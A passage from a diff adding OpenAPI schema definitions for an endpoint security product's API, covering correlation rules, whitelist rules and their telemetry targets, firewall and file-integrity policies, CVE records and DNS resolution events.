+        x-nullable: true
+      rule_effective_confidence:
+        enum:
+          - moderate
+          - strong
+          - weak
+        readOnly: true
+        title: Rule effective confidence
+        type: string
+      rule_effective_level:
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        readOnly: true
+        title: Rule effective level
+        type: string
+      rule_id:
+        minLength: 1
+        readOnly: true
+        title: Rule id
+        type: string
+        x-nullable: true
+      rule_is_depended_on:
+        items:
+          additionalProperties:
+            type: string
+            x-nullable: true
+          type: object
+        readOnly: true
+        type: array
+      rule_level:
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        readOnly: true
+        title: Rule level
+        type: string
+        x-nullable: true
+      rule_level_overridden:
+        readOnly: true
+        title: Rule level overridden
+        type: boolean
+      rule_level_override:
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        readOnly: true
+        title: Rule level override
+        type: string
+        x-nullable: true
+      rule_modified_date:
+        format: date
+        readOnly: true
+        title: Rule modified date
+        type: string
+        x-nullable: true
+      rule_name:
+        minLength: 1
+        readOnly: true
+        title: Rule name
+        type: string
+        x-nullable: true
+      rule_status:
+        minLength: 1
+        readOnly: true
+        title: Rule status
+        type: string
+        x-nullable: true
+      rule_tactic_tags:
+        items:
+          maxLength: 256
+          minLength: 1
+          title: Rule tactic tags
+          type: string
+        readOnly: true
+        type: array
+      rule_technique_tags:
+        items:
+          maxLength: 256
+          minLength: 1
+          title: Rule technique tags
+          type: string
+        readOnly: true
+        type: array
+      rule_type:
+        readOnly: true
+        title: Rule type
+        type: string
+      ruleset_rule:
+        $ref: '#/definitions/RulesetRuleSerializer'
+      ruleset_rule_default:
+        readOnly: true
+        title: Ruleset rule default
+        type: boolean
+      silent:
+        readOnly: true
+        title: Silent
+        type: boolean
+      source:
+        readOnly: true
+        title: Source
+        type: string
+      source_id:
+        minLength: 1
+        readOnly: true
+        title: Source id
+        type: string
+      state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - default
+          - disabled
+          - quarantine
+        readOnly: true
+        title: State
+        type: string
+      synchronization_status:
+        format: uuid
+        readOnly: true
+        title: Synchronization status
+        type: string
+        x-nullable: true
+      tenant:
+        minLength: 1
+        readOnly: true
+        title: Tenant
+        type: string
+      warnings:
+        minLength: 1
+        readOnly: true
+        title: Warnings
+        type: string
+        x-nullable: true
+      whitelist_count:
+        readOnly: true
+        title: Whitelist count
+        type: integer
+    type: object
+  CorrelationRulesetSource:
+    properties:
+      alert_rule_count:
+        default: 0
+        readOnly: true
+        title: Alert rule count
+        type: integer
+      block_on_agent:
+        title: Block on agent
+        type: boolean
+      block_rule_count:
+        default: 0
+        readOnly: true
+        title: Block rule count
+        type: integer
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      default_rule_count:
+        minimum: 0
+        readOnly: true
+        title: Default rule count
+        type: integer
+      description:
+        title: Description
+        type: string
+      disabled_rule_count:
+        default: 0
+        readOnly: true
+        title: Disabled rule count
+        type: integer
+      effective_state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - disabled
+          - quarantine
+        readOnly: true
+        title: Effective state
+        type: string
+      enabled:
+        title: Enabled
+        type: boolean
+      endpoint_detection:
+        title: Endpoint detection
+        type: boolean
+      global_state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - disabled
+          - quarantine
+        title: Global state
+        type: string
+      id:
+        minLength: 1
+        readOnly: true
+        title: Id
+        type: string
+      last_modifier:
+        $ref: '#/definitions/HlSimpleUserSerializer'
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      name:
+        maxLength: 100
+        minLength: 1
+        title: Name
+        type: string
+      new_rule_state:
+        default: default
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - default
+          - disabled
+          - quarantine
+        title: New rule state
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      origin_stack_id:
+        minLength: 1
+        readOnly: true
+        title: Origin stack id
+        type: string
+        x-nullable: true
+      quarantine_on_agent:
+        title: Quarantine on agent
+        type: boolean
+      quarantine_rule_count:
+        default: 0
+        readOnly: true
+        title: Quarantine rule count
+        type: integer
+      rule_confidence_default:
+        enum:
+          - moderate
+          - strong
+          - weak
+        title: Rule confidence default
+        type: string
+      rule_count:
+        default: 0
+        readOnly: true
+        title: Rule count
+        type: integer
+      rule_disabled_count:
+        default: 0
+        readOnly: true
+        title: Rule disabled count
+        type: integer
+      rule_enabled_count:
+        default: 0
+        readOnly: true
+        title: Rule enabled count
+        type: integer
+      rule_experimental_count:
+        default: 0
+        readOnly: true
+        title: Rule experimental count
+        type: integer
+      rule_level_default:
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Rule level default
+        type: string
+      rule_stable_count:
+        default: 0
+        readOnly: true
+        title: Rule stable count
+        type: integer
+      rule_testing_count:
+        default: 0
+        readOnly: true
+        title: Rule testing count
+        type: integer
+      ruleset_source:
+        $ref: '#/definitions/RulesetSourceSerializer'
+      ruleset_source_rule_default:
+        $ref: '#/definitions/RulesetSourceRuleDefaultSerializer'
+      state:
+        default: default
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - default
+          - disabled
+          - force_inherit
+          - quarantine
+        title: State
+        type: string
+      tenant:
+        minLength: 1
+        readOnly: true
+        title: Tenant
+        type: string
+    required:
+      - name
+    type: object
+  CorrelationSource:
+    properties:
+      block_on_agent:
+        title: Block on agent
+        type: boolean
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      description:
+        title: Description
+        type: string
+      effective_state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - disabled
+          - quarantine
+        readOnly: true
+        title: Effective state
+        type: string
+      enabled:
+        title: Enabled
+        type: boolean
+      endpoint_detection:
+        title: Endpoint detection
+        type: boolean
+      global_state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - disabled
+          - quarantine
+        title: Global state
+        type: string
+      id:
+        minLength: 1
+        readOnly: true
+        title: Id
+        type: string
+      last_modifier:
+        $ref: '#/definitions/HlSimpleUserSerializer'
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      name:
+        maxLength: 100
+        minLength: 1
+        title: Name
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      origin_stack_id:
+        minLength: 1
+        readOnly: true
+        title: Origin stack id
+        type: string
+        x-nullable: true
+      quarantine_on_agent:
+        title: Quarantine on agent
+        type: boolean
+      rule_confidence_default:
+        enum:
+          - moderate
+          - strong
+          - weak
+        title: Rule confidence default
+        type: string
+      rule_count:
+        default: 0
+        readOnly: true
+        title: Rule count
+        type: integer
+      rule_disabled_count:
+        default: 0
+        readOnly: true
+        title: Rule disabled count
+        type: integer
+      rule_enabled_count:
+        default: 0
+        readOnly: true
+        title: Rule enabled count
+        type: integer
+      rule_experimental_count:
+        default: 0
+        readOnly: true
+        title: Rule experimental count
+        type: integer
+      rule_level_default:
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Rule level default
+        type: string
+      rule_stable_count:
+        default: 0
+        readOnly: true
+        title: Rule stable count
+        type: integer
+      rule_testing_count:
+        default: 0
+        readOnly: true
+        title: Rule testing count
+        type: integer
+      tenant:
+        minLength: 1
+        readOnly: true
+        title: Tenant
+        type: string
+    required:
+      - name
+    type: object
+  CreateAntivirusPolicy:
+    properties:
+      antivirus_slug:
+        enum:
+          - hurukaiav
+          - windowsdefender
+        title: Antivirus slug
+        type: string
+      description:
+        title: Description
+        type: string
+        x-nullable: true
+      hurukaiav:
+        $ref: '#/definitions/HlAntivirus'
+      id:
+        format: uuid
+        title: Id
+        type: string
+      name:
+        maxLength: 256
+        minLength: 1
+        title: Name
+        type: string
+      windowsdefender:
+        $ref: '#/definitions/WindowsDefender'
+    required:
+      - antivirus_slug
+      - name
+    type: object
+  CreateCorrelationRule:
+    properties:
+      alert_count:
+        readOnly: true
+        title: Alert count
+        type: integer
+      block_on_agent:
+        title: Block on agent
+        type: boolean
+      content:
+        minLength: 1
+        title: Content
+        type: string
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      declared_in:
+        title: Declared in
+        type: string
+        x-nullable: true
+      effective_state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - disabled
+          - quarantine
+        readOnly: true
+        title: Effective state
+        type: string
+      enabled:
+        title: Enabled
+        type: boolean
+      endpoint_detection:
+        default: true
+        readOnly: true
+        title: Endpoint detection
+        type: boolean
+      errors:
+        minLength: 1
+        readOnly: true
+        title: Errors
+        type: string
+        x-nullable: true
+      global_state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - disabled
+          - quarantine
+        title: Global state
+        type: string
+      hl_local_testing_status:
+        description: deprecated
+        title: Hl local testing status
+        type: string
+        x-nullable: true
+      hl_status:
+        enum:
+          - experimental
+          - stable
+          - testing
+        title: Hl status
+        type: string
+      hl_testing_start_time:
+        format: date-time
+        readOnly: true
+        title: Hl testing start time
+        type: string
+      id:
+        minLength: 1
+        readOnly: true
+        title: Id
+        type: string
+      inner_correlation:
+        items:
+          $ref: '#/definitions/InnerCorrelationRule'
+        readOnly: true
+        type: array
+      inner_rule_counts:
+        $ref: '#/definitions/InnerRuleCounts'
+      inner_sigma:
+        items:
+          $ref: '#/definitions/InnerSigmaRule'
+        readOnly: true
+        type: array
+      is_valid:
+        readOnly: true
+        title: Is valid
+        type: boolean
+      last_modifier:
+        $ref: '#/definitions/HlSimpleUserSerializer'
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      name:
+        maxLength: 100
+        minLength: 1
+        title: Name
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      origin_stack_id:
+        minLength: 1
+        readOnly: true
+        title: Origin stack id
+        type: string
+        x-nullable: true
+      overwrite:
+        default: false
+        title: Overwrite
+        type: boolean
+      quarantine_on_agent:
+        title: Quarantine on agent
+        type: boolean
+      references:
+        items:
+          minLength: 1
+          title: References
+          type: string
+        type: array
+      rule_confidence:
+        enum:
+          - moderate
+          - strong
+          - weak
+        readOnly: true
+        title: Rule confidence
+        type: string
+        x-nullable: true
+      rule_confidence_override:
+        enum:
+          - moderate
+          - strong
+          - weak
+        title: Rule confidence override
+        type: string
+        x-nullable: true
+      rule_creation_date:
+        format: date
+        readOnly: true
+        title: Rule creation date
+        type: string
+        x-nullable: true
+      rule_dependencies:
+        items:
+          additionalProperties:
+            type: string
+            x-nullable: true
+          type: object
+        readOnly: true
+        type: array
+      rule_description:
+        minLength: 1
+        readOnly: true
+        title: Rule description
+        type: string
+        x-nullable: true
+      rule_effective_confidence:
+        enum:
+          - moderate
+          - strong
+          - weak
+        readOnly: true
+        title: Rule effective confidence
+        type: string
+      rule_effective_level:
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        readOnly: true
+        title: Rule effective level
+        type: string
+      rule_id:
+        minLength: 1
+        readOnly: true
+        title: Rule id
+        type: string
+        x-nullable: true
+      rule_is_depended_on:
+        items:
+          additionalProperties:
+            type: string
+            x-nullable: true
+          type: object
+        readOnly: true
+        type: array
+      rule_level:
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        readOnly: true
+        title: Rule level
+        type: string
+        x-nullable: true
+      rule_level_overridden:
+        readOnly: true
+        title: Rule level overridden
+        type: boolean
+      rule_level_override:
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Rule level override
+        type: string
+        x-nullable: true
+      rule_modified_date:
+        format: date
+        readOnly: true
+        title: Rule modified date
+        type: string
+        x-nullable: true
+      rule_name:
+        minLength: 1
+        readOnly: true
+        title: Rule name
+        type: string
+        x-nullable: true
+      rule_status:
+        minLength: 1
+        readOnly: true
+        title: Rule status
+        type: string
+        x-nullable: true
+      rule_tactic_tags:
+        items:
+          maxLength: 256
+          minLength: 1
+          title: Rule tactic tags
+          type: string
+        readOnly: true
+        type: array
+      rule_technique_tags:
+        items:
+          maxLength: 256
+          minLength: 1
+          title: Rule technique tags
+          type: string
+        readOnly: true
+        type: array
+      rule_type:
+        readOnly: true
+        title: Rule type
+        type: string
+      silent:
+        title: Silent
+        type: boolean
+      source:
+        readOnly: true
+        title: Source
+        type: string
+      source_id:
+        minLength: 1
+        title: Source id
+        type: string
+      synchronization_status:
+        format: uuid
+        title: Synchronization status
+        type: string
+        x-nullable: true
+      tenant:
+        minLength: 1
+        readOnly: true
+        title: Tenant
+        type: string
+      test_maturity_current_count:
+        readOnly: true
+        title: Test maturity current count
+        type: integer
+      test_maturity_delay:
+        readOnly: true
+        title: Test maturity delay
+        type: integer
+      test_maturity_threshold:
+        readOnly: true
+        title: Test maturity threshold
+        type: integer
+      warnings:
+        minLength: 1
+        readOnly: true
+        title: Warnings
+        type: string
+        x-nullable: true
+      whitelist_count:
+        readOnly: true
+        title: Whitelist count
+        type: integer
+    required:
+      - content
+      - name
+      - source_id
+    type: object
+  CreateFIMPathExclusionSerializerForBulk:
+    properties:
+      os_type:
+        enum:
+          - linux
+          - macos
+          - windows
+        title: Os type
+        type: string
+      path:
+        minLength: 1
+        title: Path
+        type: string
+      path_type:
+        enum:
+          - directory
+          - file
+          - recursive_directory
+        title: Path type
+        type: string
+    required:
+      - os_type
+      - path
+      - path_type
+    type: object
+  CreateFIMPathInclusionSerializerForBulk:
+    properties:
+      criticality:
+        enum:
+          - critical
+          - high
+          - low
+          - medium
+        title: Criticality
+        type: string
+      os_type:
+        enum:
+          - linux
+          - macos
+          - windows
+        title: Os type
+        type: string
+      path:
+        minLength: 1
+        title: Path
+        type: string
+      path_type:
+        enum:
+          - directory
+          - file
+          - recursive_directory
+        title: Path type
+        type: string
+      scan_type:
+        enum:
+          - content
+          - metadata
+          - metadata and content
+        title: Scan type
+        type: string
+    required:
+      - criticality
+      - os_type
+      - path
+      - path_type
+      - scan_type
+    type: object
+  CreateFIMPolicy:
+    properties:
+      description:
+        title: Description
+        type: string
+        x-nullable: true
+      id:
+        format: uuid
+        title: Id
+        type: string
+      name:
+        maxLength: 256
+        minLength: 1
+        title: Name
+        type: string
+      periodicity:
+        $ref: '#/definitions/CreateSchedule'
+    required:
+      - name
+      - periodicity
+    type: object
+  CreateFirewallNetwork:
+    properties:
+      description:
+        title: Description
+        type: string
+        x-nullable: true
+      name:
+        maxLength: 256
+        title: Name
+        type: string
+        x-nullable: true
+    type: object
+  CreateFirewallPolicy:
+    properties:
+      default_profile_id:
+        format: uuid
+        title: Default profile id
+        type: string
+      description:
+        title: Description
+        type: string
+        x-nullable: true
+      name:
+        maxLength: 256
+        minLength: 1
+        title: Name
+        type: string
+    required:
+      - name
+    type: object
+  CreateFirewallRule:
+    properties:
+      action:
+        enum:
+          - Allow
+          - Drop
+          - Reject
+        title: Action
+        type: string
+      description:
+        title: Description
+        type: string
+        x-nullable: true
+      direction:
+        enum:
+          - Both
+          - In
+          - Out
+        title: Direction
+        type: string
+      enabled:
+        title: Enabled
+        type: boolean
+      id:
+        format: uuid
+        title: Id
+        type: string
+      ip_version:
+        enum:
+          - Both
+          - IPv4
+          - IPv6
+        title: Ip version
+        type: string
+      local_application:
+        maxLength: 256
+        title: Local application
+        type: string
+        x-nullable: true
+      local_ip:
+        $ref: '#/definitions/FirewallIp'
+      local_ports:
+        items:
+          $ref: '#/definitions/FirewallPort'
+        type: array
+      name:
+        maxLength: 256
+        title: Name
+        type: string
+        x-nullable: true
+      profile_id:
+        format: uuid
+        title: Profile id
+        type: string
+      protocol:
+        enum:
+          - ICMP
+          - IPV6_ICMP
+          - TCP
+          - UDP
+        title: Protocol
+        type: string
+        x-nullable: true
+      remote_ip:
+        $ref: '#/definitions/FirewallIp'
+      remote_ports:
+        items:
+          $ref: '#/definitions/FirewallPort'
+        type: array
+    required:
+      - profile_id
+    type: object
+  CreateRuleResponse:
+    properties:
+      status:
+        items:
+          $ref: '#/definitions/_UploadStatus'
+        type: array
+    type: object
+  CreateSchedule:
+    properties:
+      end_at:
+        format: date-time
+        title: End at
+        type: string
+        x-nullable: true
+      execution_time:
+        format: date-time
+        title: Execution time
+        type: string
+        x-nullable: true
+      repeat_every:
+        $ref: '#/definitions/ScheduleRepeat'
+      week_days:
+        items:
+          enum:
+            - 0
+            - 1
+            - 2
+            - 3
+            - 4
+            - 5
+            - 6
+          title: Week days
+          type: integer
+        type: array
+    required:
+      - execution_time
+      - repeat_every
+    type: object
+  CreateTemporaryWhitelistRule:
+    properties:
+      comment:
+        title: Comment
+        type: string
+        x-nullable: true
+      correlation_embedded_rule_id:
+        format: uuid
+        title: Correlation embedded rule id
+        type: string
+        x-nullable: true
+      correlation_rule_id:
+        format: uuid
+        title: Correlation rule id
+        type: string
+        x-nullable: true
+      criteria:
+        items:
+          $ref: '#/definitions/CreateWhitelistRuleCriteria'
+        type: array
+      enabled:
+        title: Enabled
+        type: boolean
+      expiration_date:
+        format: date-time
+        title: Expiration date
+        type: string
+        x-nullable: true
+      security_event_from_status:
+        default:
+          - new
+        items:
+          enum:
+            - closed
+            - false_positive
+            - investigating
+            - new
+          type: string
+        type: array
+      security_event_new_status:
+        enum:
+          - closed
+          - false_positive
+          - investigating
+        title: Security event new status
+        type: string
+      sigma_rule_id:
+        title: Sigma rule id
+        type: string
+        x-nullable: true
+      target:
+        enum:
+          - all
+          - cape
+          - correlation
+          - glimps
+          - hlai
+          - hlaiscripts
+          - hurukaiav
+          - ioc
+          - kernelguard
+          - orion
+          - ransom
+          - selfprotection
+          - sidewatch
+          - sigma
+          - telemetry_amsi_scan
+          - telemetry_authentication
+          - telemetry_bpf
+          - telemetry_dns_resolution
+          - telemetry_driver_load
+          - telemetry_etw_ti_ke_insert_queue_apc
+          - telemetry_etw_ti_nt_allocate_virtual_memory
+          - telemetry_etw_ti_nt_map_view_of_section
+          - telemetry_etw_ti_nt_protect_virtual_memory
+          - telemetry_etw_ti_nt_read_virtual_memory
+          - telemetry_etw_ti_nt_resume_process
+          - telemetry_etw_ti_nt_resume_thread
+          - telemetry_etw_ti_nt_set_context_thread
+          - telemetry_etw_ti_nt_suspend_process
+          - telemetry_etw_ti_nt_suspend_thread
+          - telemetry_etw_ti_nt_write_virtual_memory
+          - telemetry_eventlog
+          - telemetry_file
+          - telemetry_group_event
+          - telemetry_injected_thread
+          - telemetry_kube_pod_event
+          - telemetry_library_load
+          - telemetry_named_pipe
+          - telemetry_network
+          - telemetry_network_listen
+          - telemetry_powershell
+          - telemetry_process
+          - telemetry_process_access
+          - telemetry_process_duplicate_handle
+          - telemetry_process_ptrace
+          - telemetry_process_tamper
+          - telemetry_raw_device_access
+          - telemetry_raw_socket_creation
+          - telemetry_registry
+          - telemetry_remote_thread
+          - telemetry_scheduled_task
+          - telemetry_url_request
+          - telemetry_usb_activity
+          - telemetry_user_event
+          - telemetry_win32k_get_async_key_state
+          - telemetry_win32k_register_raw_input_devices
+          - telemetry_win32k_set_windows_hook_ex
+          - telemetry_windows_service
+          - telemetry_wmi_event
+          - vt
+          - yara
+          - yara_memory
+        title: Target
+        type: string
+    required:
+      - criteria
+      - security_event_new_status
+    type: object
+  CreateVulnerabilityPolicy:
+    properties:
+      assigned_endpoint_policy_ids:
+        items:
+          minLength: 1
+          type: string
+        type: array
+        x-nullable: true
+      description:
+        title: Description
+        type: string
+        x-nullable: true
+      name:
+        maxLength: 256
+        minLength: 1
+        title: Name
+        type: string
+    required:
+      - name
+    type: object
+  CreateWhitelistRule:
+    properties:
+      apply_retroactively:
+        default: false
+        title: Apply retroactively
+        type: boolean
+      comment:
+        title: Comment
+        type: string
+        x-nullable: true
+      correlation_embedded_rule_id:
+        format: uuid
+        title: Correlation embedded rule id
+        type: string
+        x-nullable: true
+      correlation_rule_id:
+        format: uuid
+        title: Correlation rule id
+        type: string
+        x-nullable: true
+      criteria:
+        items:
+          $ref: '#/definitions/CreateWhitelistRuleCriteria'
+        type: array
+      enabled:
+        title: Enabled
+        type: boolean
+      expiration_date:
+        format: date-time
+        title: Expiration date
+        type: string
+        x-nullable: true
+      security_event_from_status:
+        default:
+          - new
+        items:
+          enum:
+            - closed
+            - false_positive
+            - investigating
+            - new
+          type: string
+        type: array
+      security_event_new_status:
+        default: false_positive
+        enum:
+          - closed
+          - false_positive
+          - investigating
+        title: Security event new status
+        type: string
+      sigma_rule_id:
+        title: Sigma rule id
+        type: string
+        x-nullable: true
+      target:
+        enum:
+          - all
+          - cape
+          - correlation
+          - glimps
+          - hlai
+          - hlaiscripts
+          - hurukaiav
+          - ioc
+          - kernelguard
+          - orion
+          - ransom
+          - selfprotection
+          - sidewatch
+          - sigma
+          - telemetry_amsi_scan
+          - telemetry_authentication
+          - telemetry_bpf
+          - telemetry_dns_resolution
+          - telemetry_driver_load
+          - telemetry_etw_ti_ke_insert_queue_apc
+          - telemetry_etw_ti_nt_allocate_virtual_memory
+          - telemetry_etw_ti_nt_map_view_of_section
+          - telemetry_etw_ti_nt_protect_virtual_memory
+          - telemetry_etw_ti_nt_read_virtual_memory
+          - telemetry_etw_ti_nt_resume_process
+          - telemetry_etw_ti_nt_resume_thread
+          - telemetry_etw_ti_nt_set_context_thread
+          - telemetry_etw_ti_nt_suspend_process
+          - telemetry_etw_ti_nt_suspend_thread
+          - telemetry_etw_ti_nt_write_virtual_memory
+          - telemetry_eventlog
+          - telemetry_file
+          - telemetry_group_event
+          - telemetry_injected_thread
+          - telemetry_kube_pod_event
+          - telemetry_library_load
+          - telemetry_named_pipe
+          - telemetry_network
+          - telemetry_network_listen
+          - telemetry_powershell
+          - telemetry_process
+          - telemetry_process_access
+          - telemetry_process_duplicate_handle
+          - telemetry_process_ptrace
+          - telemetry_process_tamper
+          - telemetry_raw_device_access
+          - telemetry_raw_socket_creation
+          - telemetry_registry
+          - telemetry_remote_thread
+          - telemetry_scheduled_task
+          - telemetry_url_request
+          - telemetry_usb_activity
+          - telemetry_user_event
+          - telemetry_win32k_get_async_key_state
+          - telemetry_win32k_register_raw_input_devices
+          - telemetry_win32k_set_windows_hook_ex
+          - telemetry_windows_service
+          - telemetry_wmi_event
+          - vt
+          - yara
+          - yara_memory
+        title: Target
+        type: string
+    required:
+      - criteria
+    type: object
+  CreateWhitelistRuleCriteria:
+    properties:
+      case_insensitive:
+        default: false
+        title: Case insensitive
+        type: boolean
+      field:
+        minLength: 1
+        title: Field
+        type: string
+      operator:
+        enum:
+          - contains
+          - eq
+          - ncontains
+          - neq
+          - nwildcard
+          - regex
+          - wildcard
+        title: Operator
+        type: string
+      sub_criteria:
+        items:
+          $ref: '#/definitions/WhitelistRuleSubCriterion'
+        type: array
+        x-nullable: true
+      value:
+        title: Value
+        type: string
+    required:
+      - field
+    type: object
+  CredentialProvider:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/DataAgent'
+      clsid_description:
+        minLength: 1
+        title: Clsid description
+        type: string
+      clsid_details:
+        $ref: '#/definitions/CLSID'
+      clsid_name:
+        minLength: 1
+        title: Clsid name
+        type: string
+      clsid_timestamp:
+        format: date-time
+        title: Clsid timestamp
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      item_status:
+        title: Item status
+        type: integer
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      type:
+        minLength: 1
+        title: Type
+        type: string
+      wow64:
+        title: Wow64
+        type: boolean
+    required:
+      - '@timestamp'
+      - agent
+      - clsid_description
+      - clsid_details
+      - clsid_name
+      - clsid_timestamp
+      - id
+      - item_status
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - tenant
+      - type
+      - wow64
+    type: object
+  Customization:
+    properties:
+      stack_name:
+        title: Stack name
+        type: string
+        x-nullable: true
+    type: object
+  Cve:
+    properties:
+      cvss_metric_base_score:
+        title: Cvss metric base score
+        type: number
+      cvss_metric_exploitability_score:
+        title: Cvss metric exploitability score
+        type: number
+      cvss_metric_impact_score:
+        title: Cvss metric impact score
+        type: number
+      cvss_metric_severity:
+        enum:
+          - CRITICAL
+          - HIGH
+          - LOW
+          - MEDIUM
+          - NONE
+        readOnly: true
+        title: Cvss metric severity
+        type: string
+      cvss_metric_vector_string:
+        minLength: 1
+        title: Cvss metric vector string
+        type: string
+      cvss_metric_version:
+        minLength: 1
+        title: Cvss metric version
+        type: string
+      description:
+        minLength: 1
+        title: Description
+        type: string
+      hidden:
+        title: Hidden
+        type: boolean
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      last_modified:
+        format: date-time
+        title: Last modified
+        type: string
+      published:
+        format: date-time
+        title: Published
+        type: string
+      source_identifier:
+        minLength: 1
+        title: Source identifier
+        type: string
+    required:
+      - cvss_metric_base_score
+      - cvss_metric_exploitability_score
+      - cvss_metric_impact_score
+      - cvss_metric_vector_string
+      - cvss_metric_version
+      - description
+      - id
+      - last_modified
+      - published
+      - source_identifier
+    type: object
+  CveDetails:
+    properties:
+      affected_applications:
+        items:
+          $ref: '#/definitions/AffectedApplication'
+        readOnly: true
+        type: array
+      cvss_metric_base_score:
+        title: Cvss metric base score
+        type: number
+      cvss_metric_severity:
+        enum:
+          - CRITICAL
+          - HIGH
+          - LOW
+          - MEDIUM
+          - NONE
+        readOnly: true
+        title: Cvss metric severity
+        type: string
+      description:
+        minLength: 1
+        title: Description
+        type: string
+      hidden:
+        title: Hidden
+        type: boolean
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      last_modified:
+        format: date-time
+        title: Last modified
+        type: string
+      nb_impacted_endpoints:
+        title: Nb impacted endpoints
+        type: integer
+      published:
+        format: date-time
+        title: Published
+        type: string
+      source_identifier:
+        minLength: 1
+        title: Source identifier
+        type: string
+    required:
+      - cvss_metric_base_score
+      - description
+      - id
+      - last_modified
+      - nb_impacted_endpoints
+      - published
+      - source_identifier
+    type: object
+  CveId:
+    properties:
+      id:
+        minLength: 1
+        title: Id
+        type: string
+    required:
+      - id
+    type: object
+  CveIdList:
+    properties:
+      ids:
+        items:
+          minLength: 1
+          type: string
+        type: array
+    required:
+      - ids
+    type: object
+  CveUpdateVisibility:
+    properties:
+      cve_ids:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      hidden:
+        title: Hidden
+        type: boolean
+    required:
+      - cve_ids
+      - hidden
+    type: object
+  CveVulnerabilitiesAggregation:
+    properties:
+      applications:
+        items:
+          $ref: '#/definitions/ShortInstallation'
+        type: array
+      cvss_metric_base_score:
+        title: Cvss metric base score
+        type: integer
+      cvss_metric_severity:
+        enum:
+          - CRITICAL
+          - HIGH
+          - LOW
+          - MEDIUM
+          - NONE
+        readOnly: true
+        title: Cvss metric severity
+        type: string
+      description:
+        minLength: 1
+        title: Description
+        type: string
+      hidden:
+        title: Hidden
+        type: boolean
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      last_modified:
+        format: date-time
+        title: Last modified
+        type: string
+      nb_endpoints:
+        title: Nb endpoints
+        type: integer
+      published:
+        format: date-time
+        title: Published
+        type: string
+    required:
+      - applications
+      - cvss_metric_base_score
+      - description
+      - hidden
+      - id
+      - last_modified
+      - nb_endpoints
+      - published
+    type: object
+  CveVulnerabilitiesAggregationForEndpoint:
+    properties:
+      cvss_metric_base_score:
+        title: Cvss metric base score
+        type: integer
+      cvss_metric_severity:
+        enum:
+          - CRITICAL
+          - HIGH
+          - LOW
+          - MEDIUM
+          - NONE
+        readOnly: true
+        title: Cvss metric severity
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      nb_endpoints:
+        title: Nb endpoints
+        type: integer
+    required:
+      - cvss_metric_base_score
+      - id
+      - nb_endpoints
+    type: object
+  CveVulnerabilitiesAggregationListing:
+    properties:
+      count:
+        title: Count
+        type: integer
+      next:
+        minLength: 1
+        title: Next
+        type: string
+        x-nullable: true
+      previous:
+        minLength: 1
+        title: Previous
+        type: string
+        x-nullable: true
+      results:
+        items:
+          $ref: '#/definitions/CveVulnerabilitiesAggregation'
+        type: array
+    required:
+      - count
+      - results
+    type: object
+  CyberKillChain:
+    properties:
+      command_and_control:
+        default: 0
+        title: Command and control
+        type: integer
+      exploitation:
+        default: 0
+        title: Exploitation
+        type: integer
+      impacts:
+        default: 0
+        title: Impacts
+        type: integer
+      installation:
+        default: 0
+        title: Installation
+        type: integer
+      intrusion:
+        default: 0
+        title: Intrusion
+        type: integer
+    type: object
+  DNSResolution:
+    properties:
+      '@event_create_date':
+        format: date-time
+        title: '@event create date'
+        type: string
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/InnerAgent'
+      groups:
+        $ref: '#/definitions/InnerGroup'
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      ip_addresses:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      log_type:
+        minLength: 1
+        title: Log type
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      pid:
+        title: Pid
+        type: integer
+      process_image_path:
+        minLength: 1
+        title: Process image path
+        type: string
+      process_unique_id:
+        minLength: 1
+        title: Process unique id
+        type: string
+      query_type:
+        minLength: 1
+        title: Query type
+        type: string
+      raw_windows_resolver_results:
+        minLength: 1
+        title: Raw windows resolver results
+        type: string
+      requested_name:
+        minLength: 1
+        title: Requested name
+        type: string
+      status:
+        minLength: 1
+        title: Status
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      text_records:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      username:
+        minLength: 1
+        title: Username
+        type: string
+    required:
+      - '@event_create_date'
